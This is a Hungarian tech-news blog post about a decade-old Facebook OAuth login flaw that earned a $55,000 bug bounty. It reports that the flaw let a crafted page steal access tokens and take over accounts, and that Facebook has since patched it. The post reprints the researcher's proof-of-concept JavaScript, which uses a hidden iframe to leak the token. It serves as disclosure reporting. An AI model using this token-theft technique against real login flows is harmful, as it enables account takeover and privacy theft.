Skip to content

Hydroxy.hu

Hírek, cikkek, vélemények az informatika világából

  • Kezdőlap
  • Hírszemle
  • Cikkek
  • Érdekességek
  • Gondolatok
  • Pszichológia
  • IT Security
  • Hardver & kütyü

Tíz éve a Facebook bejelentkezésben lévő hiba 55,000 dolláros jutalmat ért

2020.03.12. Kovács Nándor IT Security
Ha tetszett, oszd meg ismerőseiddel!

Amol Baikar indiai kiberbiztonsági szakértő fedezett fel tavaly decemberben egy, a “Bejelentkezés Facebook-kal” funkcióban, több mint 10 éve rejlő hibát a bug bounty program keretén belül, ami számára az eddigi legnagyobb kifizetett összeget jelentette: 55,000 dollár ütötte markát a hiba felfedezéséért.

Facebook OAuth Vulnerability.
$55,000 Bounty Awarded by Facebook.

Writeup:https://t.co/MpVgyUSQqQ#Facebook #Security #BugBounty

— Amol Baikar (@AmolBaikar) March 1, 2020

A “Bejelentkezés Facebook-kal” hiba kihasználása esetén a támadó egy megfelelően előkészített weboldal segítségével ellophatta az ACCESS_TOKEN-t, és teljesen átvehette az áldozat Facebook profilja felett az uralmat.

Az OAuth 2.0 technológia lehetővé teszi, hogy az ACCES_TOKEN segítségével információ cserélődjön a Facebook és harmadik félhez tartozó weboldalak között. Jó ideje ezt használja már a Facebook, de más szolgáltatások is.

A sebezhetőség kihasználásával nem csak a Facebook profil felett volt átvehető az irányítás, de olyan nagy szolgáltatások is érintettek, mint az Instagram, a Netflix, a Tinder, a Spotify, az Oculus.

Ha a támadó sikeresen megszerezte az access token-t, onnantól kezdve szabadon posztolhatott az áldozat üzenőfalára, írhatott üzenetet a nevében, hozzáférhetett a képekhez, videókhoz.

Hogyan történt a támadás?

Két feltétel kellett a támadás végrehajtásához:

  1. Kihagyni az X-Frame-Options beállítást a headerből
  2. Egy extra window.parent hozzáadásával a felhasználónak nem kellett semmit se tennie az oldalon, csupán elég volt azt megnyitnia

Ennek köszönhetően az elsődleges access token kiszivároghatott az áldozat tudta nélkül is.

var app_id = '124024574287414',
app_domain = 'www.instagram.com';

var exploit_url = 'https://www.facebook.com/connect/ping?client_id=' + app_id + '&redirect_uri=https%3A%2F%2Fstaticxx.facebook.com%2Fconnect%2Fxd_arbiter%2Fr%2F7SWBAvHenEn.js%3Fversion%3D44%23origin%3Dhttps%253A%252F%252F' + app_domain;

var i = document.createElement('iframe');
i.setAttribute('id', 'i');
i.setAttribute('style', 'display:none;');
i.setAttribute('src', exploit_url);
document.body.appendChild(i);

window.addEventListener('OAuth', function(FB) {
  alert(FB.data.name);
}, !1);
https://www.youtube.com/watch?v=-2__22lnFhg&feature=emb_title

A hibát a Facebook már javította, de mivel több, mint tíz éve jelen volt a rendszerben így nincs kizárva, hogy támadók esetleg kihasználták a sebezhetőséget. Mindenesetre azt javasolják, hogy aki biztosra szeretne menni, az változtasson jelszót az érintett szolgáltatásokon, és jelentkezzen ki az összes eszközről.

Forrás


Ha tetszett, oszd meg ismerőseiddel!

Ezek a bejegyzések is érdekelhetnek

  1. Két egyetemista a MOSÓGÉPEKBEN talált biztonsági rést
  2. Na ilyen zsarolóvírust még biztosan nem láttunk
  3. Veszélyeket rejtenek a Google új .zip és .mov domain végződései
  4. A biztonsági hibák hajszolása őrületbe kergeti a nyílt forráskódú projektek fejlesztőit
biztonságbountybugfacebookkiberbiztonságloginsebezhetőségvulnerability

Bejegyzés navigáció

Previous Post:Szinte az összes APACHE TOMCAT verzió érintett az új sebezhetőségben – GHOSTCAT
Next Post:Sütitolvaj Android kártevőn keresztül vehetik át az uralmat a Facebook profilunk felett

Kiemelt bejegyzések

Több, mint évek: A senior szemléletmód alapjai
Cikkek Pszichológia

Több, mint évek: A senior szemléletmód alapjai

2025.06.06.
Hogyan ne legyél libapásztor? – Programozói karrierbiztosítás az AI korszakában
Cikkek Gondolatok

Hogyan ne legyél libapásztor? – Programozói karrierbiztosítás az AI korszakában

2025.06.01.
Hogyan érts meg gyorsan bármilyen kódbázist?
Cikkek

Hogyan érts meg gyorsan bármilyen kódbázist?

2025.06.01.
Programozói mítoszok, amik csak az idődet pazarolják – és miért érdemes elfelejteni őket
Cikkek Pszichológia

Programozói mítoszok, amik csak az idődet pazarolják – és miért érdemes elfelejteni őket

2025.06.01.
Hogyan legyél te is gonosz UI-tervező? – Sötét praktikák a felhasználók elijesztésére
Pszichológia

Hogyan legyél te is gonosz UI-tervező? – Sötét praktikák a felhasználók elijesztésére

2025.06.01.
Kognitív csapdák a szoftverfejlesztésben
Cikkek Pszichológia

Kognitív csapdák a szoftverfejlesztésben

2025.05.31.
SOLID elvek érthetően: 5 alapelv, amivel jobb fejlesztő lehetsz
Cikkek

SOLID elvek érthetően: 5 alapelv, amivel jobb fejlesztő lehetsz

2025.05.31.
Ezeket a tervezési mintákat minden fejlesztőnek ismernie kell
Cikkek

Ezeket a tervezési mintákat minden fejlesztőnek ismernie kell

2025.05.30.
Miért szomorúak a programozók? És hogyan lehetnének mégis boldogabbak?
Pszichológia

Miért szomorúak a programozók? És hogyan lehetnének mégis boldogabbak?

2024.10.21.
Ami a netre felkerül az ott is marad?
Gondolatok

Ami a netre felkerül az ott is marad?

2024.07.01.
WordPress Theme: Tortuga by ThemeZee.
🍪 A weboldal sütiket használ. Az oldal használatával automatikusan elfogadod ezeket. További részletek